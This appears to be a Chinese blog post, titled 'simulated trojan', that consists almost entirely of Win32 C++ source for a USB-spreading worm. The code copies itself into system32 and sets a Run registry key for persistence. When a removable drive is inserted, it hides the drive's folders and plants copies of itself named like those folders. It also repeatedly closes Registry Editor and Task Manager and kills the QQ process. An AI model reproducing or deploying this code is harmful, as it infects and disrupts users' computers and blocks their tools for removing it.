模拟木马

// Virus.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "Virus.h"
#include <windows.h>
#include <Dbt.h>
#include <iostream>
#include"io.h"
#include "tlhelp32.h" 
using namespace std;
#define MAX_LOADSTRING 100


 

void KillProcess(WCHAR* wzFilePath);
// 全局变量:
HINSTANCE hInst;                                // 当前实例
TCHAR szTitle[MAX_LOADSTRING];                    // 标题栏文本
TCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名

// 此代码模块中包含的函数的前向声明:
ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
    wndclass.cbWndExtra=0;
    wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
    wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
    wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
    wndclass.hInstance=hInstance;
    wndclass.lpfnWndProc=WndProc;
    wndclass.lpszClassName=L"lieying";
    wndclass.lpszMenuName=NULL;
    wndclass.style=CS_VREDRAW|CS_HREDRAW;

    RegisterClass(&wndclass);             //注册窗口类

    HWND hwnd;
    hwnd=CreateWindow(L"lieying",L"",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
    //ShowWindow(hwnd,SW_HIDE);       //隐藏窗体
    UpdateWindow(hwnd);
    MSG msg;
    while(GetMessage(&msg,hwnd,0,0))      //消息循环
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int) msg.wParam;
}



//
//  函数: MyRegisterClass()
//
//  目的: 注册窗口类。
//
//  注释:
//
//    仅当希望
//    此代码与添加到 Windows 95 中的“RegisterClassEx”
//    函数之前的 Win32 系统兼容时，才需要此函数及其用法。调用此函数十分重要，
//    这样应用程序就可以获得关联的
//    “格式正确的”小图标。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);

    wcex.style            = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra        = 0;
    wcex.cbWndExtra        = 0;
    wcex.hInstance        = hInstance;
    wcex.hIcon            = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground    = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName    = MAKEINTRESOURCE(IDC_VIRUS);
    wcex.lpszClassName    = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));

    return RegisterClassEx(&wcex);
}

//
//   函数: InitInstance(HINSTANCE, int)
//
//   目的: 保存实例句柄并创建主窗口
//
//   注释:
//
//        在此函数中，我们在全局变量中保存实例句柄并
//        创建和显示主程序窗口。
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;

   hInst = hInstance; // 将实例句柄存储在全局变量中

   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

   if (!hWnd)
   {
      return FALSE;
   }

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);

   return TRUE;
}

//
//  函数: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  目的: 处理主窗口的消息。
//
//  WM_COMMAND    - 处理应用程序菜单
//  WM_PAINT    - 绘制主窗口
//  WM_DESTROY    - 发送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    int wmId, wmEvent;
    PAINTSTRUCT ps;
    HDC hdc;

    switch (message)
    {
    case WM_PAINT:
        {
            PAINTSTRUCT ps;
            BeginPaint(hWnd,&ps);
            EndPaint(hWnd,&ps);
            break;
        }

    case WM_CLOSE:
        {
            DestroyWindow(hWnd);
            break;
        }

    case WM_DESTROY:
        {
            PostQuitMessage(0);
            break;
        }
    case WM_CREATE:                                //窗体创建时执行复制自身到系统目录，并写注册表实现开机启动。
        {

            SetTimer(hWnd,1,1000,NULL);           //设置定时器,每秒调用一次。

            //复制文件自身到系统目录
            TCHAR ExeFullPath[MAX_PATH];
            GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //获取exe的全路径(包括文件名)

            TCHAR NewFilePath[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe";  //Copy到系统目录。。。。
            BOOL bret = CopyFile(ExeFullPath,NewFilePath,TRUE);  
            int a = GetLastError();

            //写注册表，实现开机运行。
            HKEY hkey;
            TCHAR keyvalue[MAX_PATH]=L"C:\WINDOWS\system32\virus.exe";  
            TCHAR childkey[]=TEXT("Software\Microsoft\Windows\CurrentVersion\Run");

            RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
            RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,wcslen(keyvalue));
             a = GetLastError();

            RegCloseKey(hkey);

            break;
        }
    case WM_DEVICECHANGE:          //移动存储设备插入电脑会产生WM_DEVICECHANGE消息
        {
            if(lParam!=0)
            {
                PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定义PDEV_BROADCAST_HDR结构体，系统填充结构体信息。
                if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
                {
                    if(wParam==DBT_DEVICEARRIVAL)                       //移动存储设备已经可用。
                    {
                        long i,j;
                        TCHAR buf[100];
                        TCHAR *cdbuf;
                        j=100;
                        i=GetLogicalDriveStrings(j,buf);
                        for(j=0;j<i;j+=4)
                        {
                            cdbuf=&buf[j];
                            if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //判断插入设备的类型是否为可移动设备
                            {

                                TCHAR FileName[MAX_PATH];
                                wcscpy(FileName,cdbuf);
                                TCHAR f[MAX_PATH]=TEXT("\*.");
                                wcscat(FileName,f);
                                struct _wfinddata_t files;
                                int File_Handle;
                                int i=0;
                                File_Handle = _wfindfirst(FileName,&files);              
                                if(File_Handle==-1)
                                {
                                    break;
                                }

                                do
                                {
                                    TCHAR temp[MAX_PATH];
                                    wcscpy(temp,wcscat(cdbuf,L"\"));
                                    wcscat(cdbuf,files.name);
                                    //目录正常显示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
                                    SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //给目录添加隐藏，系统属性。
                                    CopyFile(L"C:\WINDOWS\system32\virus.exe",wcscat(cdbuf,L".exe"),FALSE); //将系统目录下的病毒文件，拷贝到U盘，名字为U盘子目录的名字加.exe。
                                    i++;
                                    wcscpy(cdbuf,temp);
                                }
                                while(0==_wfindnext(File_Handle,&files));
                                _findclose(File_Handle);
                                //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
                            }
                        }

                    }
                }
            }

        }
        break;



    case WM_TIMER:                                   //处理WM_TIMER消息
        {
            HWND hwReg=FindWindow(L"RegEdit_RegEdit",L"注册表编辑器");       //寻找注册表
            if(hwReg!=NULL)
            {
                SendMessage(hwReg,WM_CLOSE,NULL,NULL);  
                KillProcess(L"regedit.exe");//如果找到注册表，立即关闭
            }

            HWND hwTsk=FindWindow(L"#32770",L"Windows 任务管理器");          //寻找任务管理器
            if(hwTsk!=NULL)
            {
                SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //如果找到任务管理器，立即关闭
            }

            HWND hwQQ=FindWindow(L"TXGuiFoundation",NULL);             //查找QQ
            if(hwQQ!=NULL)
            {
                KillProcess(L"QQ.exe");  //杀死QQ进程，无论已经登陆QQ，还是正在登陆。。。。
            }
        }
        break;



    default:
        {
            return DefWindowProc(hWnd,message,wParam,lParam);
            break;
        }
    }
    return 0;
}

void KillProcess(WCHAR* wzFilePath)  //关闭QQ进程
{  
    //   TODO:   Add   your   control   notification   handler   code   here  
    //   PROCESSENTRY32结构对象  
    PROCESSENTRY32 pe;  
    //   创建快照句柄
    pe.dwSize = sizeof(PROCESSENTRY32);  
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


    //   先搜索系统中第一个进程的信息  
    Process32First(hSnapshot, &pe);  

    TCHAR szFile[MAX_PATH];
    int p;  


    //   下面对系统中的所有进程进行枚举，  
    do{  
        lstrcpy(szFile, pe.szExeFile);
        p = lstrcmp(szFile, wzFilePath);
        if(0 == p)   //if(strlen(pe.szExeFile)>0)判断关闭系统进程外的所以进程
        {
            HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   


            //先取得他  
            if(h)   
                TerminateProcess(h, 0);  //关闭  
            //break;  
        }   
    }while(Process32Next(hSnapshot, &pe));


    //   关闭快照句柄  
    CloseHandle(hSnapshot);    
}
// “关于”框的消息处理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    UNREFERENCED_PARAMETER(lParam);
    switch (message)
    {
    case WM_INITDIALOG:
        return (INT_PTR)TRUE;

    case WM_COMMAND:
        if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
        {
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        break;
    }
    return (INT_PTR)FALSE;
}

 http://blog.csdn.net/denghubu/article/details/5765921